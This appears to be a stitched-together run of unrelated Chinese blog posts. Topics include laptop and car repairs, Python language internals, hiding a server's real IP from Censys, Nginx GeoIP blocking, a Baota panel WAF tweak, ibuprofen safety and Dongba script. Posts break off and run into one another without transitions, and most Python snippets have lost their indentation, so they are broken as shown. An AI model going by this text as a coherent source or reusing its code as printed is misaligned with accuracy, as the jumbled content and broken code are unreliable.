1、B面转轴位置,左右各一个胶垫,先扣下来,露出两个螺丝,拧下。然后将卖家送的插板从这个位置插入,稍微用点力,B面的卡扣就会脱落。记得使用四两拨千斤的巧劲,别用蛮力,卡扣断了别找我。围绕屏幕一圈,遇山修路,遇水架桥,遇卡扣用力。这样就拆下整个B面。放一边备用。
2、拆完B面可以看到这样的螺丝,主要集中在转轴这里,屏幕上部只有左右四颗好像。拆下这所有的螺丝,真个A面就脱离面板了,此面板孤零零的矗立在风中,独自摇曳。
3、拆掉面板侧面的螺丝,只有一点要注意,拆到最后两颗螺丝的时候当心,拿住屏幕,要不然duang一下就掉下来个措手不及。
4、拆掉面板上的低分线,先撤下黄色助沾胶,然后扯下屏线插口前端的透明拉力带,拔下整个屏幕线即可。
5、装上新买的屏幕到支架上,插上高分线。此刻主机端的高分线还无处可插,待会儿我们拆了C面就好办了。
1、拆掉D面几乎所有的螺丝,除了胶垫中隐藏的还有两个隐藏的地方,一个是检修仓里面,一个光驱仓的顶部。检修仓就保护贴图了,光驱仓的螺丝在这里,共三颗。
2、拆完所有螺丝,将插板插入如图位置,又是一顿卡扣大法,遇山修路,遇水架桥,遇卡扣用力。围绕一圈,就可以取下整个C面。
3、拆掉原低分线,图中的位置,同样有拉力带,和面板上的拆装方法一致。主要是注意转轴处的走线方式和位置。
1、装回必要的配件和插线,点亮下屏幕看看能否正常显示。只要能正常点亮就OK了。
2、按部就班的原路装回所有面板,按下卡扣,装上螺丝。最后大功告成。对了,如果开机显示花屏,别急,强制重启你的电脑。然后装系统吧。
把多余的那个日立盘装到移动硬盘盒子里面也算一步的话,那就是这个了。完成。
print 语句
早就被列在了不可靠的语言特性列表中,例如 Guido 的“Python 之悔”(Python Regrets)演讲【1】,并计划在 Python 3000 版本移除。因此,本 PEP 的目的并不新鲜,尽管它可能会在 Python 开发人员中引起较大争议。sys.stdout
,这想法不错,但无疑是一个非常巨大的概念飞跃,而且跟 print 相比,它工作在不同的层级。def print(*args, sep=' ', end='\n', file=None)
print(a, b, c, file=sys.stderr)
print >>sys.stderr, a, b, c
softspace
功能(当前在文件上的半秘密属性,用于告诉 print 是否要在第一个条目前插入空格)会被删除。因此,当前版本的以下写法不能被直接转换:print "a",
print
>>> print ("Hello")
Hello
>>> print ("Hello", "world")
('Hello', 'world')
>>> print ("Hello")
Hello
>>> print ("Hello", "world")
Hello world
Batteries Included
这个叫法是 Python 特有的,它指的是 Python 拥有“内置电池”,也就是自带丰富多样的标准库,开箱即用,动力十足。PyPI
是 Python Package Index 的简称,即 Python 库索引,是一个用来管理三方库的项目,根据网站显示,目前有 18 万个三方库,以及它们的 135 万个发行版本。5月份的一个周日大清早,笛大佬QQ上问我的博客禁止IP直接访问是怎么配置的。当时就把我问懵逼了,他一个职业运维工程师竟然问我这个运维白痴,我都是用宝塔配的服务器。当时就回了他一句你知道我的IP?他说不知道,有个坑爹的网站能搜索到真实IP,就因为我的站没搜到所以才来问我,着实让我hin吃惊。所以详细请教了下大佬遇到的情况。
有一个坑爹的网站https://censys.io/
,时刻在全网扫描激活的IP地址,然后利用nginx一个“漏洞”来检查IP对应的域名,并做了对应关系。如果服务器是nginx的web服务,可以直接通过https://ip地址来访问,nginx会向浏览器发送默认的SSL证书,通过查看证书详情可以找到对应的域名。如果两厢匹配,那么你的站就被这个坑爹的censys.io给记录了,通过censys.io搜索域名或IP就能找到关联信息。
首先你得配置一个默认站点。在宝塔网站菜单创建一个空网站,并将其设置为默认站点。配置假的SSL证书,利用站点管理工具中的SSL工具上传虚假的证书。虚假证书在文末有下载。
做好这些就可以了,如果你的站已经被收录进去了,怕是没救了,因为那货把更新的部分当做新记录又存了一份,也就是你做了措施以后,之前泄露的也在历史记录里面了。至于还有类似邮件泄露IP的问题,这里就按下不表了。
虚假SSL证书,点这里虚假证书.zip下载,最后如果实在不行就删库跑路吧,这毕竟是终极大招,哈哈哈哈!
事情得从前两天说起,公司一个内部应用在钉钉前端做了免登之后身份信息需要在自有的系统上对用户身份在后台二次鉴权。博主很少做微应用和小程序之类的开发,所以常规逻辑就用session去鉴权。再写入session后,钉钉上怎么都取不到session的值,用电脑端测试session一切正常。百思不得其解,百度了下,似乎有人也遇到过这个问题,不过没有答案,最后在钉钉开放平台中找到在线客服,问了下情况,被告知,钉钉不支持session,可以使用cookie或者钉钉前端缓存dd.setStorage。找到原因就简单了,快速处理好业务逻辑。
后来因这事发现不能直接做调试是件很尴尬的事,只好去翻钉钉的文档,好在钉钉开放了安卓版的调试包,按图索骥很容易完成微应用在电脑端的调试工作。
其实调试包就是一个开发版的钉钉客户端,安装之前先要卸载手机上的正式版,开发版的版本号通常比正式版要低,无法覆盖安装。下载地址可以在钉钉开放平台,工具与资源栏目,小程序开发者工具中找到。或者点击这里下载。
打开手机上的钉钉开发版,我的——设置——通用——开发者选项——微应用调试。
安卓的USB调试模式各个品牌系统略有差异,自己找一下,比如我的小米就需要再设置里面找到我的设备,然后点击全部参数,然后多次点击MIUI版本,就会打开开发者选项。然后返回,在系统和设备的更多设置中找到开发者选项,在调试中打开USB调试开关。
钉钉文档上有一个链接地址,是关于DevTools介绍的。由于是google的地址,所以需要“出国”访问你懂的。这是一篇中文文档入门,可以帮你了解和使用DevTools,非常友好。好了,我们通过chrome地址栏输入chrome://inspect打开DevTools工具页。如果你的手机已经通过USB连接电脑了,此刻这里应该出现你的手机标识。如下图。如果没有出现,请按前面这篇文档里面去排查问题。同样,因为后端会加载google的服务,所以调试的过程中,同样需要“出国”访问。
DevTools工具页面上已经可以看到你手机目前拉取的页面地址了,如下图,点击inspect即可拉出调试页面,如果出现404 Not Found。在当前页面按F12,在remote devices标签中点击你的设备名,如图点击这里出现的页面地址后,在新选项卡中打开页面再按F12,即可完成调试页面的输出。然后就可以在电脑上调试了。
广告:H5 复刻版明日方舟游戏主界面,源码:mashirozx/arknights-ui,求 STAR!!顺便求波好友
Mashiro#3731
~
[github repo="mashirozx/arknights-ui"]
明日方舟拆包以后发现立绘被分成了两张图,一个储存的是 RGB 通道的信息,另一个储存的是 Alpha 通道的信息(实际还有一圈阴影效果),因此需要把两个通道合并,下面分别是两个通道的原图以及用后面的代码合并出来的立绘,点击图片可以看大图。
RGB 通道 | Alpha 通道 | 合并结果 |
---|---|---|
!{Sora - RGB Channel}(https://view.moezx.cc/images/2019/06/04/char_101_sora_2.png)[https://view.moezx.cc/images/2019/06/04/char_101_sora_2.th.png] | !{Sora - Alpha Channel}(https://view.moezx.cc/images/2019/06/04/char_101_sora_2alpha.png)[https://view.moezx.cc/images/2019/06/04/char_101_sora_2alpha.th.png] | !{Sora - Merged}(https://view.moezx.cc/images/2019/06/05/char_101_sora_1_result.png)[https://view.moezx.cc/images/2019/06/05/char_101_sora_2_result_tn.png] |
!{Fmout - RGB Channel}(https://view.moezx.cc/images/2019/06/05/char_109_fmout_2.png)[https://view.moezx.cc/images/2019/06/05/char_109_fmout_2.th.png] | !{Fmout - Alpha Channel}(https://view.moezx.cc/images/2019/06/05/char_109_fmout_2alpha.png)[https://view.moezx.cc/images/2019/06/05/char_109_fmout_2alpha.th.png] | !{Fmout - Merged}(https://view.moezx.cc/images/2019/06/05/char_109_fmout_2_result244665287f848479.png)[https://view.moezx.cc/images/2019/06/05/char_109_fmout_2_result_tn.png] |
!{Nearl - RGB Channel}(https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b.png)[https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b.th.png] | !{Nearl - Alpha Channel}(https://view.moezx.cc/images/2019/06/05/char_148_nearl_2balpha.png)[https://view.moezx.cc/images/2019/06/05/char_148_nearl_2balpha.th.png] | !{Nearl - Merged}(https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b_result47fb6960510a13ba.png)[https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b_result_tn.png] |
逆向出来的立绘素材都上传到这里(提取密码: U9HIc)了,感谢 @momo296859251 帮忙整理文件。
这是合并单张立绘的代码:
from PIL import Image
name = 'char_101_sora_2'
image = name+'.png'
mask = name+'[alpha].png'
img = Image.open(image)
mas = Image.open(mask)
pixdata_img = img.load()
pixdata_mas = mas.load()
for y in range(mas.size[1]):
for x in range(mas.size[0]):
pixdata_img[x, y] = (pixdata_img[x, y][0], pixdata_img[x, y][1], pixdata_img[x, y][2], pixdata_mas[x, y][2])
img.show()
The post PIL 合并 RGB 通道图与 Alpha 通道图 appeared first on 樱花庄的白猫.
multiprocessing
模块。multiprocessing 是 CPython 大量产生的进程的包装器(每个进程都有自己的GIL)——from multiprocessing import Process
def f(name):
print 'hello', name
if __name__ == '__main__':
p = Process(target=f, args=('bob',))
p.start()
p.join()
multiprocessing
模块还支持通过队列或管道共享变量。它有一个 Lock 对象,用于锁定主进程中的对象,以便其它进程能够写入。interpreters
模块。marshal
模块、 pickle
模块、以及像 json
和 simplexml
这样更标准化的方法 。这些方法褒贬不一,但无一例外会造成额外的开销。import _xxsubinterpreters as interpreters
import threading
import textwrap as tw
import marshal
# Create a sub-interpreter
interpid = interpreters.create()
# If you had a function that generated some data
arry = list(range(0,100))
# Create a channel
channel_id = interpreters.channel_create()
# Pre-populate the interpreter with a module
interpreters.run_string(interpid, "import marshal; import _xxsubinterpreters as interpreters")
# Define a
def run(interpid, channel_id):
interpreters.run_string(interpid,
tw.dedent("""
arry_raw = interpreters.channel_recv(channel_id)
arry = marshal.loads(arry_raw)
result = [1,2,3,4,5] # where you would do some calculating
result_raw = marshal.dumps(result)
interpreters.channel_send(channel_id, result_raw)
"""),
shared=dict(
channel_id=channel_id
),
)
inp = marshal.dumps(arry)
interpreters.channel_send(channel_id, inp)
# Run inside a thread
t = threading.Thread(target=run, args=(interpid, channel_id))
t.start()
# Sub interpreter will process. Feel free to do anything else now.
output = interpreters.channel_recv(channel_id)
interpreters.channel_release(channel_id)
output_arry = marshal.loads(output)
print(output_arry)
marshal
模块相当快,但仍不如直接从内存中共享对象那样快。import _xxsubinterpreters as interpreters
import threading
import textwrap as tw
import pickle
# Create a sub-interpreter
interpid = interpreters.create()
# If you had a function that generated a numpy array
arry = [5,4,3,2,1]
# Create a channel
channel_id = interpreters.channel_create()
# Pre-populate the interpreter with a module
interpreters.run_string(interpid, "import pickle; import _xxsubinterpreters as interpreters")
buffers=[]
# Define a
def run(interpid, channel_id):
interpreters.run_string(interpid,
tw.dedent("""
arry_raw = interpreters.channel_recv(channel_id)
arry = pickle.loads(arry_raw)
print(f"Got: {arry}")
result = arry[::-1]
result_raw = pickle.dumps(result, protocol=5)
interpreters.channel_send(channel_id, result_raw)
"""),
shared=dict(
channel_id=channel_id,
),
)
input = pickle.dumps(arry, protocol=5, buffer_callback=buffers.append)
interpreters.channel_send(channel_id, input)
# Run inside a thread
t = threading.Thread(target=run, args=(interpid, channel_id))
t.start()
# Sub interpreter will process. Feel free to do anything else now.
output = interpreters.channel_recv(channel_id)
interpreters.channel_release(channel_id)
output_arry = pickle.loads(output)
print(f"Got back: {output_arry}")
threading
那么简单,你不能想着在不同的解释器中使用同一串输入来运行同一个函数(目前还不行)。asyncio
事件循环的当前实现是创建需要求值的帧(frame),但在主解释器中共享状态(因此共享 GIL)。# 例0
def foo():
exec('y = 1 + 1')
z = locals()['y']
print(z)
foo()
# 输出:2
# 例1
def foo():
exec('y = 1 + 1')
y = locals()['y']
print(y)
foo()
# 报错:KeyError: 'y'
KeyError
指的是在字典中不存在对应的 key 。为什么会这样呢,新赋值的变量是 y 或者 z,为什么对结果有这么不同的影响?# 例2
def foo():
y = 1 + 1
y = locals()['y']
print(y)
foo()
# 2
# 例3
def foo():
exec('y = 1 + 1')
boc = locals()
y = boc['y']
print(y)
foo()
# KeyError: 'y'
# 例4
def foo():
boc = locals()
exec('y = 1 + 1')
y = boc['y']
print(y)
foo()
# 2
# 例5
def foo():
boc = locals()
exec('y = 1 + 1')
print(locals())
y = boc['y']
print(y)
foo()
# {'boc': {...}}
# KeyError: 'y'
int a
,需要赋值时,再写 a = 1
,当然也可不拆分,则是 int a = 1
。a = 1
这样。看起来它跟其它语言的赋值写法一样,但实际上,它的效果是 int a = 1
。a = 1
时,你无法确定 a 是初次声明的,还是已被声明过的。y = locals()['y']
,等号左侧在做声明,只要等号右侧的结果成立,整个声明与赋值的过程就成立。右侧需在 locals() 字典中查找 y 对应的值。boc = locals()
这句同样存在循环引用的问题,因此执行后的字典中没有 y,接着 exec() 这句动态地修改了 locals(),执行后 boc 的结果是 {‘y’ : 2},因此再下一句的 boc[‘y’] 能查找到结果,而不报错。a = 1
时,你无法确定 a 是初次声明的,还是已被声明过的。事情的背景是之前为了方便在公用电脑上阅读,在私人网盘上存了几本 O'Reilly 动物书的 PDF 文件,但是没想到被搜索引擎收录,于是最近收到了 O'Reilly 的 DMCA 邮件(估计邮箱是从域名注册商拿到的),因此为了在不妨碍自己使用资源的前提下规避问题,选择阻止中国以外 IP 访问该目录下的资源。
这里使用了 Nginx 的 GeoIP 拓展(ngx_http_geoip_module),在标准版的 Nginx 中我们需要重新把拓展编译进去,但是我使用的 Tengine 可以直接加载动态模块(原版也能直接动态加载模块了)。
首先安装 nginx-module-geoip:
sudo apt-get install nginx-module-geoip
然后下载 IP 数据库并解压,可将解压出来的 GeoIPv6.dat
文件放到你喜欢的任何地方:
# DAT 版数据库官方已不再提供下载,下面的链接是祖传备份
# 详见:https://dev.maxmind.com/geoip/legacy/downloadable/
wget https://cloud.moezx.cc/mirrors/geoip/database/GeoIPv6.dat.gz
gzip -d -k GeoIPv6.dat.gz
# GeoIPv6.dat 覆盖了 IPv4 和 IPv6 的数据,如果仅需 IPv4,使用下面这个文件
wget https://cloud.moezx.cc/mirrors/geoip/database/GeoIP.dat.gz
然后需要下载并编译 ngx_http_geoip_module 模块,编译完成后nginx.conf
中加入如下部分:
# 引入二进制库(仅适用于 Tengine 2.3.0 之前版本,之后版本已移除 dso 指令)
dso {
load ngx_http_geoip_module.so;
}
# 引入二进制库(适用于原版 Nginx 以及 Tengine 2.3.0 之后版本)
load_module ngx_http_geoip_module.so;
# http 块下添加如下初始化代码
http {
···
geoip_country /path/to/GeoIPv6.dat;
# 排除对 CDN 等代理服务器的过滤(下面都是 Cloudflare 的服务器 IP)
geoip_proxy 103.21.244.0/22;
geoip_proxy 103.22.200.0/22;
geoip_proxy 103.31.4.0/22;
geoip_proxy 104.16.0.0/12;
geoip_proxy 108.162.192.0/18;
geoip_proxy 131.0.72.0/22;
geoip_proxy 141.101.64.0/18;
geoip_proxy 162.158.0.0/15;
geoip_proxy 172.64.0.0/13;
geoip_proxy 173.245.48.0/20;
geoip_proxy 188.114.96.0/20;
geoip_proxy 190.93.240.0/20;
geoip_proxy 197.234.240.0/22;
geoip_proxy 198.41.128.0/17;
geoip_proxy 2400:cb00::/32;
geoip_proxy 2405:8100::/32;
geoip_proxy 2405:b500::/32;
geoip_proxy 2606:4700::/32;
geoip_proxy 2803:f800::/32;
geoip_proxy 2c0f:f248::/32;
geoip_proxy 2a06:98c0::/29;
geoip_proxy_recursive on;
···
}
之后就可以在 Server 块中控制访问权限了:
# 写法一:允许部分地区访问
server {
···
set $where_are_you_from 0;
if ($geoip_country_code = CN) {
set $where_are_you_from 1;
}
location /Document/ {
default_type text/html;
charset utf-8;
if ($where_are_you_from = 0) {
return 200 'This resource is not available in your country!';
}
}
···
}
# 写法二:禁止部分地区访问
# 设置变量 $disallowed_country
map $geoip_country_code $disallowed_country {
default no;
US yes;
CN no;
}
server {
···
location /Document/ {
default_type text/html;
charset utf-8;
if ($disallowed_country) {
return 200 'This resource is not available in your country!';
}
}
···
}
学会了吗?
The post Nginx + GeoIP 区分用户 IP 归属国 appeared first on 樱花庄的白猫.
某一天,我爱人大概在网上看了个新闻,说布洛芬有毒会吃死人。因为她知道我比较爱看各类新闻,就想知道我有没有看到。当然我第一个反应是布洛芬也能吃死人,这是把布洛芬当饭吃了吧。我也就随口一说这肯定是骗人的。末了,后面几天大量的新闻中出现布洛芬的相关报道。作为一个常年需要自备布洛芬的两种常见制剂的我,不得不去研究下这些新闻的真假。啊,为啥我要常年备布洛芬制剂,并且还是两种。一是我打小就有偏头痛,天气不好或者气压不合适或者劳累很容易诱发头痛,所以芬必得是我的必备药。另外是家有萌娃,少不了感冒发烧,美林也作为常备药。所谓久病成医大概就是这篇文章值得说道的地方了。
芬必得常用的药名叫布洛芬缓释胶囊,是胶囊制剂,现在我经常买的新头痛装成分是对乙酰氨基酚不是布洛芬是药丸制剂。美林药名是布洛芬悬混液或布洛芬悬混滴剂。这两种药都是非处方药,并且都是甲类非处方药。什么是非处方药,有非处方药必然有处方药。处方药就是需要医生开处方才能买到的药,并且很多社会药店通常买不到的,大量处方药的渠道都是医院药房。非处方药就简单了,不需要医生开处方的,能自己去药店购买的。它又分甲类和乙类,甲类非处方药的标签是红色的OTC,乙类非处方药是绿色的OTC。原则上来说甲类OTC需要在执业药师指导下才能买。乙类就是没药师你也可以买。说这么多废话,简单的理解按药性排列:处方药>甲类非处方药>乙类非处方药>保健品。当然这里面还牵扯到配伍禁忌之类的。相对而言非处方药的配伍禁忌要少了很多很多。
网上已经说的比较明确了,并且找到了相关的源头。这里给出大致的新闻脉络:布洛芬在全美范围内召回 -> 源于美国食药监局也就是FDA的一则公告 -> 公告内容翻译过来就是美国一家药厂生产的布洛芬悬混液的部分批次中布洛芬的含量超标10%,所以企业自主召回 -> 召回的依据是,过高的浓度的布洛芬可能会对婴儿造成不良反应和伤害 -> 不过到目前未知并没有接到这些批次的产生的不良报告。新闻的脉络就是这个样子的。
首先美国超标的那种药国内是没有的,并且即便在美国销售的这个超量的布洛芬也没有接到异常报告。这个是我们接下来讨论的前提。国内布洛芬悬混液主要就是博主前面讲的叫美林的小儿退热药。这个是国内强生生产的。其次假设国内买的美林也存在布洛芬超标的情况,假设也超标10%。我们来计算下影响。家里有小朋友的奶爸宝妈一定知道,无论是医生开的美林还是自己买的美林,里面都是有一个滴管的,单位是毫升。药盒子上通常会标注根据对应体重会有不同的毫升用量。我没拍图,网上拉个图看下,比如30斤以内的体重是4毫升的计量。而用过那个滴管或者量杯的应该知道,滴管或量杯是间隔刻度,不是一毫升一个刻度,而是5ml,10ml,15ml类似这样的。所以4毫升只能凭估计比5毫升少一点。而更多的情况是儿童医院医生写的剂量干脆就是5ml,反而更容易把握精度。那么超出1毫升的剂量,换算成百分比就是超量25%了。
首先还是说退热作用。无论是布洛芬还是对乙酰氨基酚(泰诺林),这种作为广泛验证过的儿童退热药,药品自身使用的安全性是可以保证的。而不能保证的是作为家长的乱用药。通常医生会说小儿发热38.5度以上需要使用退热药,而38.5度一下基本是采用物理降温的方式。而新晋父母通常一摸孩子头烫赶紧喂退烧药。或者走另一个极端发烧40度还以为没啥屌事,这是很可怕的。
第二布洛芬有镇痛作用。类似博主这样经过系统全面检查也查不出原因的可能跟随我一辈子的偏头痛,女性那些原发性的痛经是可以采用这类镇痛药缓解症状的。而不规范用药的情况就是病变造成的疼痛,或者发炎造成的疼痛使用镇痛药缓解了症状可能会导致对病情的疏忽而耽误治疗,这才要命。
当然这样情景不胜枚举,一言以蔽之:药要对症,遵医嘱!当然博客圈也有好多医务工作者,比如闲鱼大佬、响石潭大佬,我就不班门弄斧了,撤!
比起南京,苏州更是寸草不生。
苏州的互联网还是婴儿。
stackoverflow
网站上,有人问了个“How to make a flat list out of list of lists”问题,正是我们在上篇文章中提出的问题。在回答中,有人分析了 7 种方法的时间性能。import functools
import itertools
import numpy
import operator
import perfplot
def forfor(a):
return [item for sublist in a for item in sublist]
def sum_brackets(a):
return sum(a, [])
def functools_reduce(a):
return functools.reduce(operator.concat, a)
def functools_reduce_iconcat(a):
return functools.reduce(operator.iconcat, a, [])
def itertools_chain(a):
return list(itertools.chain.from_iterable(a))
def numpy_flat(a):
return list(numpy.array(a).flat)
def numpy_concatenate(a):
return list(numpy.concatenate(a))
perfplot.show(
setup=lambda n: [list(range(10))] * n,
kernels=[
forfor, sum_brackets, functools_reduce, functools_reduce_iconcat,
itertools_chain, numpy_flat, numpy_concatenate
],
n_range=[2**k for k in range(16)],
logx=True,
logy=True,
xlabel='num lists'
)
perfplot
(注:这是该测试者本人开发的库)作可视化,结果很直观地展示出,随着数据量的增加,这几种方法的效率变化。from itertools import chain
from functools import reduce
from collections import Iterable # or from collections.abc import Iterable
import operator
from iteration_utilities import deepflatten
def nested_list_comprehension(lsts):
return [item for sublist in lsts for item in sublist]
def itertools_chain_from_iterable(lsts):
return list(chain.from_iterable(lsts))
def pythons_sum(lsts):
return sum(lsts, [])
def reduce_add(lsts):
return reduce(lambda x, y: x + y, lsts)
def pylangs_flatten(lsts):
return list(flatten(lsts))
def flatten(items):
"""Yield items from any nested iterable; see REF."""
for x in items:
if isinstance(x, Iterable) and not isinstance(x, (str, bytes)):
yield from flatten(x)
else:
yield x
def reduce_concat(lsts):
return reduce(operator.concat, lsts)
def iteration_utilities_deepflatten(lsts):
return list(deepflatten(lsts, depth=1))
from simple_benchmark import benchmark
b = benchmark(
[nested_list_comprehension, itertools_chain_from_iterable, pythons_sum, reduce_add,
pylangs_flatten, reduce_concat, iteration_utilities_deepflatten],
arguments={2**i: [[0]*5]*(2**i) for i in range(1, 13)},
argument_name='number of inner lists'
)
b.plot()
/* It's tempting to use PyNumber_InPlaceAdd instead of
PyNumber_Add here, to avoid quadratic running time
when doing 'sum(list_of_lists, [])'. However, this
would produce a change in behaviour: a snippet like
empty = []
sum([[x] for x in range(10)], empty)
would change the value of empty. */
纯函数
,为了多次执行时能返回同样的结果。operator.iconcat(a, b)
operator.__iconcat__(a, b)
a = iconcat(a, b) is equivalent to a += b for a and b sequences.
前段时间,偶然发现后牌照灯坏了一个,一边亮一边暗,独眼龙似的甚是难受。就打算淘宝买两个灯珠来换,顺道想着我这当年的倒车影像摄像头被太阳晒黄磨花了早就看不见了顺手也给换了吧,就网上淘了过来。灯珠现在普遍都是led的比钨丝的要好,要亮,那就买led的吧。你如果正好需要,链接我给你找来了,这里是灯珠链接,这个是摄像头链接。摄像头好像还能领3元的券。虽然我这老司机早就不需要借助摄像头和雷达进行倒车了,反正要拆,顺手就给换了吧。
▼这是磨花的摄像头,倒车已经完全糊的看不见任何东西了。
▼这是买的灯珠,led的白色的,还各种彩色的我没要,花里胡哨的也不好看。
▼这是买来摄像头,把原来的换了就行。以前的倒车影像是加装的德赛西威的导航机配套的。
▼打开后备箱,先拆里面的隔音棉。卡扣用把平口起子,撬开上面一层,一拔就下来了。
▼这是拆掉隔音棉的样子,这里面有两个螺丝和两个塑料卡扣。
▼拆了螺丝,卡扣抵进去,后灯框就能拉下来了。
▼这是牌照灯的灯座,拧尾部90度,就能拔下灯珠。
▼对比下,原钨丝灯珠和led灯珠。这个是T10的接口,你买的时候别买错了
▼这是灯座,灯泡直接插进去就行
▼倒车摄像头需要拆掉原来的,两个螺丝在外面,整个取下,换上新的,插头对插就行,我忘拍了,这是换上后的影像效果。
▼这是led倒车灯的效果,白光还是很亮的。
▼拆掉的原摄像头
▼看看,烧坏钨丝的灯珠。
好了,最后原样装回就行了,so easy!
我在 2013 年问核心开发者 Raymond Hettinger 这个问题时,他用“Python 之禅”里的原话回答了我:“实用胜于纯粹。”在 1.2 节里我提到过,如果 x是一个内置类型的实例,那么 len(x)的速度会非常快。背后的原因是 CPython 会直接从一个 C 结构体里读取对象的长度,完全不会调用任何方法。获取一个集合中元素的数量是一个很常见的操作,在 str、list、memoryview等类型上,这个操作必须高效。
换句话说,len之所以不是一个普通方法,是为了让 Python 自带的数据结构可以走后门,abs也是同理。但是多亏了它是特殊方法,我们也可以把 len用于自定义数据类型。这种处理方式在保持内置类型的效率和保证语言的一致性之间找到了一个平衡点,也印证了“Python 之禅”中的另外一句话:“不能让特例特殊到开始破坏既定规则。”
如果把abs和 len都看作一元运算符的话,你也许更能接受它们——虽然看起来像面向对象语言中的函数,但实际上又不是函数。有一门叫作 ABC 的语言是 Python 的直系祖先,它内置了一个 #运算符,当你写出 #s的时候,它的作用跟 len一样。如果写成 x#s这样的中缀运算符的话,那么它的作用是计算 s中 x出现的次数。在 Python 里对应的写法是 s.count(x)。注意这里的 s是一个序列类型。
——出自该书《1.4 为什么len不是普通方法》
saying = "Hello world!"
print(len(saying))
# 结果:12
String saying = "Hello world!";
System.out.println(saying.length());
// 结果:12
int(s)
函数,而 Java 可以用 Integer.parseInt(s)
;整型数字转化为字符串,Python 可以用 str(i)
,而 Java 也有 String.valueOf(i)
。mylist = [2, 1, 3, 5, 4]
mylist.sort()
print(mylist) # [1, 2, 3, 4, 5]
mylist.reverse()
print(mylist) # [5, 4, 3, 2, 1]
mylist = [2, 1, 3, 5, 4]
sort_list = sorted(mylist)
print(sort_list) # [1, 2, 3, 4, 5]
reverse_list = reversed(mylist)
print(list(reverse_list)) # [4, 5, 3, 1, 2]
x*(a + b)
重写成 x*a + x*b
,但同样的事,以原生的面向对象的方式实现,就比较笨拙。出自《The History of Python: Why Python uses 0-based indexing》
让我们来先看看切片的用法。可能最常见的用法,就是“取前 n 位元素”或“从第i 位索引起,取后 n 位元素”(前一种用法,实际上是 i == 起始位的特殊用法)。如果这两种用法实现时可以不在表达式中出现难看的 +1 或 -1,那将会非常的优雅。
使用 0-based 的索引方式、半开区间切片和缺省匹配区间的话(Python最终采用这样的方式),上面两种情形的切片语法就变得非常漂亮:a[:n] 和 a[i:i+n],前者是 a[0:n] 的缩略写法。
列表降维
,例子如下:oldlist = [[1, 2, 3], [4, 5]]
# 想得到结果:
newlist = [1, 2, 3, 4, 5]
# 方法一,粗暴拼接法:
newlist = oldlist[0] + oldlist[1]
# 方法二,列表推导式:
newlist = [i for j in range(len(oldlist)) for i in oldlist[j]]
for i in oldlist[j]
则会遍历取出 j 子列表的元素,由于 j 取值的区间正对应于原列表的全部索引值,所以,最终达到解题目的。# 方法三,巧用sum:
newlist = sum(oldlist,[])
sum(iterable[, start])
,sum() 函数的第一个参数是可迭代对象,如列表、元组或集合等,第二个参数是起始值,默认为 0 。其用途是以 start 值为基础,再与可迭代对象的所有元素相“加”。The iterable’s items are normally numbers, and the start value is not allowed to be a string.
For some use cases, there are good alternatives to
sum()
. The preferred, fast way to concatenate a sequence of strings is by calling''.join(sequence)
. To add floating point values with extended precision, seemath.fsum()
. To concatenate a series of iterables, consider usingitertools.chain()
.
TypeError: sum() can’t sum strings [use ”.join(seq) instead]
math.fsum()
;当要拼接一系列的可迭代对象时,应考虑使用 itertools.chain()
。itertools.chain()
可以将不同类型的可迭代对象串联成一个更大的迭代器,这在旧文《Python进阶:设计模式之迭代器模式》中也有论及。Talk Python to Me[1] 专注于 Python 开发者和组织,每期节目会邀请不同的嘉宾来谈论 ta 的工作
Podcast.__init__[2] 提供有关 Python 的故事,以及“与那些让它变得更棒的人们的访谈”
Python Bytes[3] 是来自“Talk Python to Me”和“Test and Code Podcast”创作者的新播客
Test and Code Podcast[4] 侧重于测试与相关主题,如模拟(mock)和代码度量
Philip Guo 教授有一个名为 PG Podcast[5] 的视频播客,基本是关于 Python 主题的
Import This[6] 是 Kenneth Reitz 和 Alex Gaynor 间歇更新的播客,对有影响力的 Python 社区成员进行深度的采访
宝塔面板自从升级到6.0+免费版以后,宝塔官方为推广收费waf插件,将原本功能中的过滤器给屏蔽掉了,但其实过滤器的功能都完整的包含在了6.0的版本中。只需要简单几步即可启用原5.0中的过滤器。而这个过滤器事实上就是一个waf防火墙,并且源自知名的ngx_lua_waf。
进入宝塔面板,软件管理,nginx设置,配置修改,http段中,删掉include luawaf.conf;前面的#号,保存一下。重启nginx,即可使用waf了。
进入面板,文件,根目录/www/server/nginx/waf中的三个文件。config.lua是waf的配置文件。init.lua是waf的初始化脚本。waf.lua是运行脚本。配置文件中几个配置名,从命名规则就很容易理解配置项是什么功能。我就不说了,图上的是我目前用配置规则。
过滤规则在根目录/www/server/panel/vhost/wafconf下面,文件名上就能理解每个文件对应的管控范围。建议用默认的吧,别改了,已经满齐全的了,如果你有更好的,可以在规则上补加。returnhtml这个文件是触发过滤器后的返回页面,为了防止千篇一律,可以个性化设置一下,html和css的基础就够了。
日志是在根目录/www/wwwlogs/waf下面,可以下载到本地来看,也可以通过日志分析软件进行分析。西枫里这两天没吊事心血来潮翻了下拦截日志,随便取了几个IP百度了一下,发现怎么都是阿里云的IP。第一直觉就是过滤器获取了CDN的IP,因为西枫里博客是部署了CDN的,所以waf是没有获取到真实IP,拿到的全部是回源时候的CDN的IP。
拿到的都是CDN的IP就没有太大意义了,所以必须拿到真实IP,所以得改造一下获取规则。在根目录/www/server/nginx/waf下面,找到init.lua文件,点编辑,第18行是IP=ngx.var.remote_addr。很显然,直接去拿remote_addr的IP来用了,那些被CDN代理后的IP全被隐匿了。西枫里从没写过Lua的脚本,所以大致看了一下整个文件的脚本,我看语法和ASP很类似,于是依葫芦画瓢,把函数getClientIp给改了一下,如下图。改完,就去翻了下菜鸟教程中的Lua语法,发现竟然没写错,这还真应了那句瞎猫碰见死耗子了。改完,保存后,7P群初中生说HTTP_X_FORWARDED_FOR这个应该取第一个IP吧,逗号分割的后面都是代理IP。也对,不过写完我就直接保存重启nginx后,测试了一下,好像是可以能获取到真实IP的,我也就懒得去改了,毕竟转换数组,还得去翻Lua的语法教程。算了,就这样吧。
好了,至此就可以完整的使用宝塔提供的这个隐藏福利了。
东巴文是一种兼备表意和表音成分的图画象形文字。其文字形态十分原始,甚至比甲骨文的形态还要原始,属于文字起源的早期形态,但亦能完整纪录典藏。
东巴文是居于西藏东部及云南省北部的少数民族纳西族所使用的文字。东巴文源于纳西族的宗教典籍兼百科全书的《东巴经》。由于这种文字由东巴(智者)所掌握,故称东巴文。
